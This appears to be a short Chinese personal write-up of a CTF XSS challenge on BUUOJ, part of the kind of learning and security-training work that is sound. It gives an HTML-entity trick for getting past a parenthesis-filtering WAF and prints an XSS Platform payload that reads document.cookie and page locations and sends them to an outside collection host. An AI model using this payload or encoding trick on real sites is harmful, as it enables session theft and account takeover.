以前一直没做过xss的题,这次按writeup做题感觉有所收获,记录一下吧
-
xss 的waf的绕过
()都被过滤,把所有的payload转为HTML Markup,其实就是&#加ascii码
-
payload
<svg><script>eval("" + output + "")</script>
output就是下面的东西转化为HTML Markup编码的东西,这是XSS Platform这个平台自带的payload,一开始没看懂,整理一下代码格式
(function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0 &location='+escape((function(){try{return document.location.href}catch(e){return''}})())+ '&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+ '&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+ '&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();
很清晰了,document.cookie 这样操作得到一些数据直接get请求到xss平台
可以试试直接访问
http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&cookie=123
(id要换成自己项目的)
在相应的项目下会收到对应的cookie:1234
自带的还有很多payload,也可以分析一下,以前一直没成功过,这次终于成了一次,hhh,还有点小激动
-
CSP绕过
这里我过两天补,还没搞清楚
-
substr(md5($str), 0, 6) === “d05a29”
-
感觉还有很多没写!!!待补充